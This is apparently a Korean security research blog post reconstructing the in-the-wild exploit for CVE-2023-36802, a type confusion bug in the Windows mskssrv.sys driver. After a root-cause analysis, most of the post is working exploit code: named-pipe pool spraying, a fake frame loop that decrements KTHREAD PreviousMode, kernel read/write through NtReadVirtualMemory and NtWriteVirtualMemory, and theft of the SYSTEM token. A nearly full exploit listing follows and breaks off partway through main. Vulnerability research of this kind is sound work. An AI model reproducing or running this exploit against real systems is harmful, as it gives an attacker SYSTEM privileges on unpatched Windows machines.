본문 바로가기

Research/Operating System

Microsoft Streaming Service Proxy Elevation of Privilege Vulnerability (CVE-2023-36802)

Introduction

2023년 1월 10일, Patch Tuesday에 MSRC로부터 Microsoft Streaming Service Proxy(mskssrv.sys)에 존재하는 EoP 취약점이 공개되었다

이후 IBM X-Force의 @chompie가 자신의 X에 취약점의 연구 결과를 공개하였다

해당 연구에서는 임의의 주소에 0x2을 쓰는 취약점을 Yarden Sharif가 공개한 IoRing Primitive에 적용하여 임의의 주소에 원하는 값을 쓰는 Full AAW/AAR로 확장하였고 이를 통해 EoP를 달성하였다
이후 구글의 project 0에서 해당 취약점의 In-the-Wild 케이스를 분석하여 공개하였다

본 글에서는 구글 project 0가 분석한 In-the-Wild 케이스를 완전히 구현한 과정을 소개한다

Advisory

Affected Versions

  • mskssrv.sys (~10.0.22621.1848)

Before Analysis

들어가기에 앞서 드라이버의 취약점을 트리거하기 위해서는 해당 드라이버와 통신해야 한다

드라이버와 통신하기 위해 보통 Device Name을 알아내 핸들을 얻은 후 DeviceIoControl 함수를 통해 원하는 함수를 트리거한다

이를 위해 드라이버를 분석하여 IoCreateDevice의 세 번째 인자인 DeviceName을 참고를 많이 하지만 아래의 함수를 보면 mskssrv.sys 드라이버가 보통의 케이스와는 다르단 걸 알 수 있다

mskssrv.sys

IoCreateDevice 함수의 인자를 보면 DeviceName 인자가 NULL이다

또한 해당 함수 이름에서 유추할 수 있듯 mskssrv.sys 드라이버는 PnP 드라이버인데 이런 PnP 드라이버와 통신하기 위해선 장치 인터페이스 경로가 필요하다

장치 인터페이스 경로를 얻는 방법에는 두 가지가 있는데 configuration manager 함수를 사용하는 방법과 SetupAPI 함수를 사용하는 방법이 있다

장치 관리자를 통해 장치의 정보를 보면 GUID 관련 정보를 얻을 수 있다

#include <Windows.h>
#include <stdio.h>
#include <cfgmgr32.h>

int main(int argc, char** argv)
{
    GUID class_guid = { 0x3c0d501a, 0x140b, 0x11d1, {0xb4, 0xf, 0x0, 0xa0, 0xc9, 0x22, 0x31, 0x96} };

    WCHAR interface_list[1024] = { 0 };
    CONFIGRET status = CM_Get_Device_Interface_ListW(&class_guid, NULL, interface_list, 1024, CM_GET_DEVICE_INTERFACE_LIST_ALL_DEVICES);
    if (status != CR_SUCCESS) {
        printf("fail to get path\n");
        return -1;
    }
    WCHAR* currInterface = interface_list;
    while (*currInterface) {
        printf("%ls\n", currInterface);
        currInterface += wcslen(currInterface) + 1;
    }
}

알아낸 GUID 정보를 기반으로 위와 같이 함수를 구성한 후 실행하면 mskssrv.sys 드라이버와 통신하기 위한 \\?\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}이라는 장치 인터페이스 경로를 알아낼 수 있다

Root Cause Analysis

__int64 __fastcall FSRendezvousServer::PublishRx(FSRendezvousServer *pStreamObject, struct _IRP *a2)
{
    ...
    fsRegisterObject = (const struct FSRegObject *)currentIOStackLocation->FileObject->FsContext2;
    foundObject = FSRendezvousServer::FindObject(pStreamObject, fsRegisterObject);                                        // no type check
    KeReleaseMutex((PRKMUTEX)((char *)pStreamObject + 8), 0);
    if ( foundObject )
    {
        (*(void (__fastcall **)(const struct FSRegObject *))(*(_QWORD *)fsRegisterObject + 40i64))(fsRegisterObject);
        returnStatus = FSStreamReg::PublishRx(fsRegisterObject, (const struct FSFrameInfo *)associatedMasterIrp);
        if ( returnStatus >= 0 && currentIOStackLocation->Parameters.Create.OutputBufferLength >= 0x18 )
        {
              FSStreamReg::GetStats(fsRegisterObject, (struct FSQueueStats *)a2->AssociatedIrp.MasterIrp);                // type confusion!!
              a2->IoStatus.Information = 24i64;
        }
        (*(void (__fastcall **)(const struct FSRegObject *))(*(_QWORD *)fsRegisterObject + 48i64))(fsRegisterObject);
    }
    else
    {
        return 0xC0000010;
    }
    return (unsigned int)returnStatus;
}

mskssrv.sys 드라이버에는 0x78의 크기를 가지는 FSContextReg 객체와 0x1d8의 크기를 가지는 FSStreamReg 객체까지 두 개의 객체가 있다

FSRendezvousServer::FindObject 함수는 원래 아래의 FSStreamReg::PublishRx 함수를 호출하기 위해 먼저 FSStreamReg 객체가 있는지 검사하기 위해 만들었으나, 인자로 받게 되는 객체의 타입을 검사하는 루틴이 내부에 존재하지 않는다

따라서 FSRendezvousServer::FindObject 함수에 FSStreamReg 객체가 아니라 FSContextReg 객체를 인자로 넘겨주게 되어도 1을 반환하게 되고, 아래의 조건문을 통과해 FSContextReg 객체를 인자로 FSStreamReg::PublishRx 함수를 호출하게 되는 type confusion 취약점이 발생하게 된다

__int64 __fastcall FSStreamReg::PublishRx(FSStreamReg *streamRegInstance, const struct FSFrameInfo *frameInfo)
{
    ...
    framesQueuePointer = (_QWORD *)((char *)streamRegInstance + 0x188);                            // out of bound read
    ...
    for ( frameIndex = 0; frameIndex < *((_DWORD *)frameInfo + 9); ++frameIndex )
    {
        if ( (_QWORD *)*framesQueuePointer != framesQueuePointer )
          *((_QWORD *)streamRegInstance + 0x33) = *framesQueuePointer;
        while ( 1 )
        {
          currentFrame = *((_QWORD *)streamRegInstance + 0x33);
          if ( !currentFrame
            || (_QWORD *)*framesQueuePointer == framesQueuePointer
            || (_QWORD *)currentFrame == framesQueuePointer )
          {
            break;
          }
          if ( *(_QWORD *)(currentFrame + 32) == *((_QWORD *)frameInfo + 17 * frameIndex + 6) )
          {
            currentFrameSize = *(_DWORD *)(currentFrame + 0xD0);
            FSFrameMdl::UnmapPages((FSFrameMdl *)currentFrame);
            if ( currentFrameSize )
            {
              ObfDereferenceObject(*((PVOID *)streamRegInstance + 7));
              ObfDereferenceObject(*((PVOID *)streamRegInstance + 0x39));                                // out of bound decrement
            }
            framesUnmappedFlag = 1;
          }
          FSFrameMdlList::MoveNext((FSStreamReg *)((char *)streamRegInstance + 0x140));
        }
    }
    ...
    if ( framesUnmappedFlag )
    {
        keventPointer = (struct _KEVENT *)*((_QWORD *)streamRegInstance + 0x35);
        if ( keventPointer )
          KeSetEvent(keventPointer, 0, 0);
    }
    ...
}

FSStreamReg::PublishRx 함수 내부에서 인자로 받은 객체가 0x1D8의 크기를 가지는 FSStreamReg 객체라고 가정하고 +0x188, +0x198, 0x+1C8에 있는 값들을 참조해서 작업을 수행하는데 이때 인자로 받은 객체가 0x78 크기의 FSContextReg 객체라면 Out of Bound 작업을 수행하게 된다

Primitive

  • FSStreamReg::PublishRx 함수에서 +0x1C8에 있는 주소를 대상으로 ObfDereferenceObject를 실행하게 되는데 Heap Feng Shui를 통해 해당 주소의 값을 controllable하게 만들어 ObfDereferenceObject 함수를 통해 KTHREADPreviousMode 필드를 1에서 0으로 감소시키도록 만든다
    • PreviousMode0, 즉, 커널 모드라면 NtReadVirtualMemory 함수와 NtWriteVirtualMemory 함수를 통해 커널 주소의 값을 읽고 쓸 수 있게 된다
  • 현재 프로세스의 토큰 값을 시스템 프로세스(PID 4)에서 읽어온 토큰 값으로 덮어씌워 EoP를 달성한다

Exploit flow

  • 앞서 알아낸 장치 인터페이스 경로를 사용하여 mskssrv.sys 드라이버를 연다
  • NtQuerySystemInformation(SystemExtendedHandleInformation,...) 함수를 사용하여 몇몇 커널 주소를 알아낸다
    • 현재 KTHREAD 주소 (PreviousMode의 주소)
    • 현재 프로세스와 시스템 프로세스의 EPROCESS 주소 (현재 프로세스와 시스템 프로세스의 Token 주소)
    • mskssrv 장치의 FILE_OBJECT 주소
  • 잘 알려진 pool spray 기법을 참고하여 NtFsControlFile 함수에 0x119ff8 IOCTL로 0x80 크기의 pool을 spray 한다
  • 몇 개의 Pipe를 닫아 pool에 hole을 만든다
  • IOCTL_FS_INIT_CONTEXT IOCTL을 호출한다
    • FSInitializeContextRendezvous 함수는 내부에서 FSRendezvousServer::InitializeContext 함수를 호출하여 FSContextReg 객체를 초기화한다
    • FSContextReg 객체는 0x78의 크기이므로 우리가 만든 hole에 할당된다
  • 다른 스레드에서 IOCTL_PUBLISH_RX IOCTL을 호출한다
    • 내부에서 FSStreamReg::PublishRx 함수를 호출한다
    • FSStreamReg::PublishRx 함수는 0x1d8의 크기를 가지는 FSStreamReg 객체를 예상하고 기다리지만 0x78 크기의 FSContextReg 객체를 전달받아 제어된 데이터를 대상으로 작업을 수행하게 된다
    • FSStreamReg::PublishRx 함수는 FSContextReg 객체의 범위를 벗어난 객체를 대상으로 ObfDereferenceObject 함수를 호출하게 된다
      이때 PreviousMode를 0으로 감소시키게 만든다
      => 커널 주소를 대상으로 한 NtReadVirtualMemoryNtWriteVirtualMemory가 성공하게 된다
    • FSStreamReg::PublishRx에서 KeSetEvent를 호출할 때 특정한 조치를 취하지 않으면 첫 번째 인자로 POOL_HEADERProcessBilled의 값이 들어가게 되어 예외를 발생시키게 되기 때문에 잠시 ProcessBilled 값을 NULL로 만들어야 한다
      => 이를 위해 FSFrameMdlList::MoveNext를 통한 반복문 구간에서 순환 참조를 통해 무한 루프를 돌게 하여 잠시 대기시킨다
  • 메인 스레드에서 작업을 수행한다
    • NtReadVirtualMemory 함수를 통해 시스템 프로세스의 토큰을 반복문으로 읽는다
      PreviousMode가 0으로 감소하면 NtReadVirtualMemory 함수가 성공한다
    • NtWriteVirtualMemory 함수를 통해 시스템 토큰의 값을 현재 프로세스의 토큰 값에 덮어쓴다
    • FSContextReg의 주소를 얻기 위해 FILE_OBJECTFSContext2 필드의 주소를 얻어낸다
    • KeSetEvent를 할 때 참조하는 ProcessBilled 값을 읽어 저장한다 (나중에 다시 복구하기 위해)
    • KeSetEvent를 할 때 FSContextReg 객체에서 +0x1a8 오프셋에 있는 값(=ProcessBilled)을 참조하게 되는데 이를 NULL로 덮어쓴다
    • 무한 루프를 돌게 만든 스레드가 무한 루프에서 탈출할 수 있도록 적절히 값을 덮어쓴다
      이 작업이 완료되면 루프 스레드가 루프에서 탈출하여 KeSetEvent를 호출하게 되는데 이미 첫 번째 인자에 들어갈 값을 NULL로 만들었기 때문에 에러가 발생하지 않는다
    • FSStreamReg::PublishRx 함수가 다른 스레드에서 종료될 때까지 기다린다
    • ProcessBilled 값을 pool의 정상적인 작동을 위해 다시 복구한다
    • 현재 EPROCESSrefcount를 증가시킨다 (하지 않으면 프로세스 종료 시 BSOD 발생)
    • PreviousMode를 다시 1로 만든다
    • 시스템 권한으로 명령어를 실행시킬 수 있게 된다 (예: cmd.exe)

Exploit flow with code

  • 앞서 알아낸 장치 인터페이스 경로를 사용하여 mskssrv.sys 드라이버를 연다
hMskssrv = CreateFileA("\\\\?\\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\\{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}",
    GENERIC_READ | GENERIC_WRITE,
    FILE_SHARE_READ | FILE_SHARE_WRITE,
    NULL,
    CREATE_NEW,
    0,
    NULL);
  • NtQuerySystemInformation(SystemExtendedHandleInformation,...) 함수를 사용하여 몇몇 커널 주소를 알아낸다
NTSTATUS status = NtQuerySystemInformation(64, handleInfo, len, &len);    // SystemExtendedHandleInformation
while (status == STATUS_INFO_LENGTH_MISMATCH) {
    free(handleInfo);
    handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)malloc(len);

    if (!handleInfo) {
        printf("\t[-] Memory allocation failed\n");
        return -1;
    }

    status = NtQuerySystemInformation(64, handleInfo, len, &len);
}
if (!NT_SUCCESS(status)) {
    printf("\t[-] NtQuerySystemInformation failed\n");
    free(handleInfo);
    return -1;
}

for (ULONG_PTR i = 0;i < handleInfo->NumberOfHandles; i++) {
    if (handleInfo->Handles[i].HandleValue == cReg &&
        handleInfo->Handles[i].UniqueProcessId == GetCurrentProcessId()) {
        mskssrv_file_obj = (ULONG_PTR)handleInfo->Handles[i].Object;
        printf("\t[+] mskssrv FILE_OBJECT address: %p\n", mskssrv_file_obj);
    }
    if (handleInfo->Handles[i].HandleValue == hProc &&
        handleInfo->Handles[i].UniqueProcessId == GetCurrentProcessId()) {
        cur_eprocess = (ULONG_PTR)handleInfo->Handles[i].Object;
        printf("\t[+] Current EPROCESS address: %p\n", cur_eprocess);
        cur_token = cur_eprocess + 0x4b8;
    }
    if (handleInfo->Handles[i].UniqueProcessId == 4 &&
        handleInfo->Handles[i].HandleValue == 4) {
        system_eprocess = (ULONG_PTR)handleInfo->Handles[i].Object;
        printf("\t[+] System EPROCESS address: %p\n", system_eprocess);
        system_token = system_eprocess + 0x4b8;
    }
    if (handleInfo->Handles[i].UniqueProcessId == GetCurrentProcessId() &&
        handleInfo->Handles[i].HandleValue == hMainThread) {
        main_kthread = (ULONG_PTR)handleInfo->Handles[i].Object;
        printf("\t[+] main thread KTHREAD address: %p\n", main_kthread);
        main_prevmode = main_kthread + 0x232;
    }
}

64번이 SystemExtendedHandleInformation를 의미한다

핸들이 스레드 핸들이면 스레드 객체의 주소인 KTHREAD의 주소가, 파일 핸들이면 파일 객체의 주소인 FILE_OBJECT의 주소가, 프로세스 핸들이면 프로세스 객체의 주소인 EPROCESS의 주소가 해당 핸들의 Object 필드에 저장되게 된다

NTSTATUS s;
HANDLE tmp[SPRAY_SIZE] = { 0 };
for (int i = 0;i < spray_size;i++) {
    hPipeArray[i] = CreateNamedPipeW(L"\\\\.\\pipe\\ex", PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED,
        PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 0x30, 0x30, 0, 0);

    tmp[i] = CreateFile(L"\\\\.\\pipe\\ex", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, 0);

    s = NtFsControlFile(hPipeArray[i], 0, 0, 0, &isb, 0x119ff8, Inbuf, 0x80, 0, 0); //NpInternalWrite
    if (!NT_SUCCESS(s)) {
        printf("\t[-] pool spraying failed, %p\n", s);
        return -1;
    }
}

NpInternalWrite를 통해 User Data를 할당하지 않고 WriteFile을 통해 할당하게 되면 Buffered Entires가 pool에 할당되게 되는데 이렇게 되면 User Data 앞 0x30바이트는 제어할 수 없는 DATA_QUEUE_ENTRY가 pool에 함께 할당되게 된다

반면에 NtFsControlFile 함수를 통해 NpInternalWrite를 호출하면 Unbuffered Entries를 pool에 할당하는데 User Data 공간만이 pool에 할당되어 공간의 모든 값을 제어할 수 있게 된다

  • 몇 개의 Pipe를 닫아 pool에 hole을 만든다
for (int i = spray_size-0x20;i < spray_size;i += 4)
{
    CloseHandle(tmp[i]);        // create hole
    CloseHandle(hPipeArray[i]);
}
  • IOCTL_FS_INIT_CONTEXT IOCTL을 호출한다
DeviceIoControl(cReg, IOCTL_FS_INIT_CONTEXT, InitBuf, 0x100, NULL, 0, NULL, NULL);

이를 호출하게 되면 만들었던 hole에 FSContextReg 객체가 할당되게 된다

  • 다른 스레드에서 IOCTL_PUBLISH_RX IOCTL을 호출한다
void thread_sep()
{
    printf("\t[+] Loop Thread Start..\n");
    ULONG_PTR InBuf[0x20] = { 0 };
    InBuf[4] = 0x100000001;
    DeviceIoControl(cReg, IOCTL_PUBLISH_RX, InBuf, 0x100, NULL, 0, NULL, NULL);
    printf("\t\t[+] Loop thread loop finished..\n");
    SetEvent(hEvent);
}

DWORD sep_threadId;
HANDLE hSepThread = CreateThread(NULL, 0, thread_sep, NULL, 0, &sep_threadId);

InBuf에 1 이상이어야 하는 값이 있기 때문에 잘 맞추어 주어야 한다

또한 +0x1a8에 있는 ProcessBilled 값을 NULL로 덮어쓰기 전까지 무한 루프를 돌 수 있도록 앞서 pool에 spray 했을 때 데이터를 적절히 조절해 주어야 한다

FSFrameMdlList::MoveNext 함수는 +0x198에 있는 값을 +0x198에 넣고 해당 주소를 참조해서 작업을 수행한다

환경을 만들기 위해서는 spray가 다음과 같이 되어야 한다

FSContextReg가 할당된 아래에 3개 이상의 pipe 버퍼가 할당된 아래의 상황이 가장 이상적이다

0: kd> !pool rax
Pool page ffff938927724290 region is Nonpaged pool
 ffff938927724000 size:  280 previous size:    0  (Free)       ....
*ffff938927724280 size:   90 previous size:    0  (Allocated) *Creg
        Owning component : Unknown (update pooltag.txt)
 ffff938927724310 size:   90 previous size:    0  (Allocated)  IoSB Process: ffff938926d980c0
 ffff9389277243a0 size:   90 previous size:    0  (Allocated)  IoSB Process: ffff938926d980c0
 ffff938927724430 size:   90 previous size:    0  (Allocated)  IoSB Process: ffff938926d980c0
 ffff9389277244c0 size:   90 previous size:    0  (Allocated)  IoSB Process: ffff938926d980c0
 ffff938927724550 size:   90 previous size:    0  (Allocated)  IoSB Process: ffff938926d980c0

처음에 spray할 때 +0x18PreviousMode의 주소를, 0x680x78에 fake frame의 주소를 순환 참조하도록 넣으면 무한루프를 돌게 하며 PreviousMode를 감소시킬 수 있을 것이다

하지만 PreviousMode가 1이기 때문에 ObfDereferenceObject는 한 번만 실행해야 하는데 무한 루프를 돌게 되면 계속해서 감소하게 된다

이때 currentFrame+0xD0이 0이면 ObfDereferenceObject를 실행하지 않는다는 것을 이용하여 해결할 수 있다

  • 첫 fake frame fs1에는 +0xD0의 값을 1로 만들고 FSContextReg 객체의 +0x188fs1의 주소를 주면 ObfDereferenceObject를 실행할 것이다
  • +0x198fs2의 주소를 넣고 fs2+0xD0 오프셋은 0으로 만들면 다음 루프에서 ObfDereferenceObject를 실행하지 않고 FSFrameMdlList::MoveNext를 실행할 것이다
  • FSFrameMdlList::MoveNext 함수 내부에서 fs2의 가장 앞쪽의 주소가 Next가 되므로 fs2의 가장 앞쪽에 fs3의 주소를 넣는다
    • fs3도 마찬가지로 +0xD0 오프셋의 값은 0으로 만들고 서로 순환 참조를 하도록 fs3의 가장 앞쪽에 fs2의 주소를 넣는다

위 과정을 거치면 PreviousMode가 한 번 감소하여 0이 된 채로 무한 루프를 돌게 될 것이다

아래는 이를 만족하도록 버퍼를 구성하여 spray한 코드이다

fake_stream fs1 = { 0 };
fake_stream fs2 = { 0 };
fake_stream fs3 = { 0 };
fs1.data[0] = &fs2;
fs1.data[0x1a] = 0x1;
fs2.data[0] = &fs3;
fs3.data[0] = &fs2;

ULONG_PTR Inbuf[0x20] = { 0 };
Inbuf[3] = main_prevmode + 0x30;
Inbuf[0xd] = &fs1;
Inbuf[0xf] = &fs2;

NTSTATUS s;
HANDLE tmp[SPRAY_SIZE] = { 0 };
for (int i = 0;i < spray_size;i++) {
    hPipeArray[i] = CreateNamedPipeW(L"\\\\.\\pipe\\ex", PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED,
        PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 0x30, 0x30, 0, 0);

    tmp[i] = CreateFile(L"\\\\.\\pipe\\ex", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, 0);

    s = NtFsControlFile(hPipeArray[i], 0, 0, 0, &isb, 0x119ff8, Inbuf, 0x80, 0, 0); //NpInternalWrite
    if (!NT_SUCCESS(s)) {
        printf("\t[-] pool spraying failed, %p\n", s);
        return -1;
    }
}

PreviousMode+0x30의 주소를 넣는 이유

LONG_PTR __stdcall ObfDereferenceObject(PVOID Object)
{
    ...
    if ( ObpTraceFlags )
        ObpPushStackInfo((char *)Object - 48, 0i64, 1i64, 1953261124i64);
    v2 = _InterlockedExchangeAdd64((volatile signed __int64 *)Object - 6, 0xFFFFFFFFFFFFFFFFui64);    // operate -1
    v3 = v2 <= 1;
    BugCheckParameter4 = v2 - 1;
    if ( !v3 )
        return BugCheckParameter4;
    ...
}

ObfDereferenceObject 함수를 보면 인자로 받은 Object-0x30에 있는 값에 -1 연산을 수행하기 때문에 알아낸 PreviousMode의 주소에 0x30을 더한 값을 넣어주어야 PreviousMode의 값이 1 감소한다

  • 메인 스레드에서 작업을 수행한다
void thread_main()
{
    printf("\t[+] Main Thread Start and Wait for Previous mode overwritten to 0\n");
    char leak_prevmode = 1;
    ULONG_PTR junk = 0;
    NTSTATUS status = -1;
    while (!main_prevmode) {
        ;
    }
    ULONG_PTR system_token_val = 0;
    while (status != STATUS_SUCCESS) {
        status = NtReadVirtualMemory(hProc, system_token, &system_token_val, 8, &junk);
    }
    printf("\t\t[+] Overwrite PrevMode Success\n");
    NtWriteVirtualMemory(hProc, cur_token, &system_token_val, 8, &junk);
    printf("\t\t[+] OverWrite Current token to system token done, value: %p\n", system_token_val);
    ULONG_PTR context2 = 0;
    NtReadVirtualMemory(hProc, mskssrv_file_obj + 0x20, &context2, 8, &junk);
    printf("\t\t[+] FsContextReg Object addr: %p\n", context2);
    ULONG_PTR ProcessBilled = 0;
    NtReadVirtualMemory(hProc, context2 + 0x1a8, &ProcessBilled, 8, &junk);
    printf("\t\t[+] ProcessBilled Value: %p\n", ProcessBilled);
    ULONG_PTR null_ = 0;
    NtWriteVirtualMemory(hProc, context2 + 0x1a8, &null_, 8, &junk);
    printf("\t\t[+] Overwrite ProcessBilled field to zero done\n");
    NtWriteVirtualMemory(hProc, context2 + 0x198, &null_, 8, &junk);
    printf("\t\t[+] Overwrite FsContextReg object+0x188 to zero to break loop\n");
    WaitForSingleObject(hEvent, INFINITE);

    printf("\t\t[+] Restore Start..\n");
    NtWriteVirtualMemory(hProc, context2 + 0x1a8, &ProcessBilled, 8, &junk);
    printf("\t\t\t[+] Restore ProcessBilled field done\n");
    ULONG_PTR object_header = cur_eprocess - 0x30;
    ULONG_PTR PointerCount = 0;
    printf("\t\t\t[+] Current EPROCESS's OBJECT_HEADER address: %p\n", object_header);
    NtReadVirtualMemory(hProc, object_header, &PointerCount, 8, &junk);
    printf("\t\t\t[+] Ref Count: 0x%p\n", PointerCount);
    PointerCount++;
    NtWriteVirtualMemory(hProc, object_header, &PointerCount, 8, &junk);
    printf("\t\t\t[+] Increment of current EPROCESS object done\n");
    NtWriteVirtualMemory(hProc, main_prevmode, &leak_prevmode, 1, &junk);
    printf("\t\t\t[+] Reset PreviousMode to 1 done\n");
}

NtReadVirtualMemory가 성공할 때까지 반복하다가 성공하면 토큰 복사를 수행하고 복구까지 해주면 EoP가 달성된다

FSContextReg 객체 주소 구하는 방법

FileObject의 주소는 NtQuerySystemInformation 함수를 통해 알아냈으니 FILE_OBJECT 구조체 내부에 있는 FsContext2 필드의 주소를 알아내면 된다

struct _FILE_OBJECT
{
    SHORT Type;                                                             //0x0
    SHORT Size;                                                             //0x2
    struct _DEVICE_OBJECT* DeviceObject;                                    //0x8
    struct _VPB* Vpb;                                                       //0x10
    VOID* FsContext;                                                        //0x18
    VOID* FsContext2;                                                       //0x20 <- here
    struct _SECTION_OBJECT_POINTERS* SectionObjectPointer;                  //0x28
    VOID* PrivateCacheMap;                                                  //0x30
    LONG FinalStatus;                                                       //0x38
    struct _FILE_OBJECT* RelatedFileObject;                                 //0x40
    UCHAR LockOperation;                                                    //0x48
    UCHAR DeletePending;                                                    //0x49
    UCHAR ReadAccess;                                                       //0x4a
    UCHAR WriteAccess;                                                      //0x4b
    UCHAR DeleteAccess;                                                     //0x4c
    UCHAR SharedRead;                                                       //0x4d
    UCHAR SharedWrite;                                                      //0x4e
    UCHAR SharedDelete;                                                     //0x4f
    ULONG Flags;                                                            //0x50
    struct _UNICODE_STRING FileName;                                        //0x58
    union _LARGE_INTEGER CurrentByteOffset;                                 //0x68
    ULONG Waiters;                                                          //0x70
    ULONG Busy;                                                             //0x74
    VOID* LastLock;                                                         //0x78
    struct _KEVENT Lock;                                                    //0x80
    struct _KEVENT Event;                                                   //0x98
    struct _IO_COMPLETION_CONTEXT* CompletionContext;                       //0xb0
    ULONGLONG IrpListLock;                                                  //0xb8
    struct _LIST_ENTRY IrpList;                                             //0xc0
    VOID* FileObjectExtension;                                              //0xd0
};

+0x20 오프셋에 존재한다

Full Exploit Code

github

#include "defs.h"

#define IOCTL_FS_INIT_CONTEXT    0x2F0400
#define IOCTL_PUBLISH_RX        0x2F040C

#define SPRAY_SIZE 20000

HANDLE hEvent;
ULONG_PTR mskssrv_file_obj;
ULONG_PTR cur_eprocess;
ULONG_PTR cur_token;
ULONG_PTR system_eprocess;
ULONG_PTR system_token;
ULONG_PTR main_kthread;
ULONG_PTR main_prevmode;
HANDLE hMskssrv;
NtWriteVirtualMemoryFunc NtWriteVirtualMemory;
NtReadVirtualMemoryFunc NtReadVirtualMemory;
HANDLE hProc;
HANDLE hMainThread;
HANDLE cReg;
HANDLE hSystem;

typedef struct fake_stream_ {
    ULONG_PTR data[0x3b];
}fake_stream;

void thread_main()
{
    printf("\t[+] Main Thread Start and Wait for Previous mode overwritten to 0\n");
    char leak_prevmode = 1;
    ULONG_PTR junk = 0;
    NTSTATUS status = -1;
    while (!main_prevmode) {
        ;
    }
    ULONG_PTR system_token_val = 0;
    while (status != STATUS_SUCCESS) {
        status = NtReadVirtualMemory(hProc, system_token, &system_token_val, 8, &junk);
    }
    printf("\t\t[+] Overwrite PrevMode Success\n");
    NtWriteVirtualMemory(hProc, cur_token, &system_token_val, 8, &junk);
    printf("\t\t[+] OverWrite Current token to system token done, value: %p\n", system_token_val);
    ULONG_PTR context2 = 0;
    NtReadVirtualMemory(hProc, mskssrv_file_obj + 0x20, &context2, 8, &junk);
    printf("\t\t[+] FsContextReg Object addr: %p\n", context2);
    ULONG_PTR ProcessBilled = 0;
    NtReadVirtualMemory(hProc, context2 + 0x1a8, &ProcessBilled, 8, &junk);
    printf("\t\t[+] ProcessBilled Value: %p\n", ProcessBilled);
    ULONG_PTR null_ = 0;
    NtWriteVirtualMemory(hProc, context2 + 0x1a8, &null_, 8, &junk);
    printf("\t\t[+] Overwrite ProcessBilled field to zero done\n");
    NtWriteVirtualMemory(hProc, context2 + 0x198, &null_, 8, &junk);
    printf("\t\t[+] Overwrite FsContextReg object+0x188 to zero to break loop\n");
    WaitForSingleObject(hEvent, INFINITE);

    printf("\t\t[+] Restore Start..\n");
    NtWriteVirtualMemory(hProc, context2 + 0x1a8, &ProcessBilled, 8, &junk);
    printf("\t\t\t[+] Restore ProcessBilled field done\n");
    ULONG_PTR object_header = cur_eprocess - 0x30;
    ULONG_PTR PointerCount = 0;
    printf("\t\t\t[+] Current EPROCESS's OBJECT_HEADER address: %p\n", object_header);
    NtReadVirtualMemory(hProc, object_header, &PointerCount, 8, &junk);
    printf("\t\t\t[+] Ref Count: 0x%p\n", PointerCount);
    PointerCount++;
    NtWriteVirtualMemory(hProc, object_header, &PointerCount, 8, &junk);
    printf("\t\t\t[+] Increment of current EPROCESS object done\n");
    NtWriteVirtualMemory(hProc, main_prevmode, &leak_prevmode, 1, &junk);
    printf("\t\t\t[+] Reset PreviousMode to 1 done\n");
}

void thread_sep()
{
    printf("\t[+] Loop Thread Start..\n");
    ULONG_PTR InBuf[0x20] = { 0 };
    InBuf[4] = 0x100000001;
    DeviceIoControl(cReg, IOCTL_PUBLISH_RX, InBuf, 0x100, NULL, 0, NULL, NULL);
    printf("\t\t[+] Loop thread loop finished..\n");
    SetEvent(hEvent);
}

int main(int argc, char** argv)
{
    printf("[+] Start CVE-2023-36802 Exploit..\n");
    HMODULE hNtDll = GetModuleHandleW(L"ntdll.dll");
    if (!hNtDll) {
        printf("\t[-] Failed to get ntdll handle.\n");
        return -1;
    }

    NtFsControlFileFunc NtFsControlFile = (NtFsControlFileFunc)GetProcAddress(hNtDll, "NtFsControlFile");
    NtReadVirtualMemory = (NtReadVirtualMemoryFunc)GetProcAddress(hNtDll, "NtReadVirtualMemory");
    NtWriteVirtualMemory = (NtWriteVirtualMemoryFunc)GetProcAddress(hNtDll, "NtWriteVirtualMemory");
    if (!NtFsControlFile || !NtReadVirtualMemory || !NtWriteVirtualMemory) {
        printf("\t[-] Failed to get Nt function address.\n");
        return -1;
    }

    // Open mskssrv device
    hMskssrv = CreateFileA("\\\\?\\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\\{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}",
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        CREATE_NEW,
        0,
        NULL);

    // Leak required kernel address
    ULONG len = sizeof(SYSTEM_HANDLE_INFORMATION_EX);
    PSYSTEM_HANDLE_INFORMATION_EX handleInfo = NULL;
    handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)malloc(len);
    if (!handleInfo) {
        printf("\t[-] Memory allocation failed\n");
        return -1;
    }

    hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
    hProc = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_ALL_ACCESS, 0, GetCurrentProcessId());
    DWORD main_threadId;
    hMainThread = CreateThread(NULL, 0, thread_main, NULL, 0, &main_threadId);

    cReg = CreateFileA("\\\\?\\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\\{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}",
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        CREATE_NEW,
        0,
        NULL);

    NTSTATUS status = NtQuerySystemInformation(64, handleInfo, len, &len);    // SystemExtendedHandleInformation
    while (status == STATUS_INFO_LENGTH_MISMATCH) {
        free(handleInfo);
        handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)malloc(len);

        if (!handleInfo) {
            printf("\t[-] Memory allocation failed\n");
            return -1;
        }

        status = NtQuerySystemInformation(64, handleInfo, len, &len);
    }
    if (!NT_SUCCESS(status)) {
        printf("\t[-] NtQuerySystemInformation failed\n");
        free(handleInfo);
        return -1;
    }

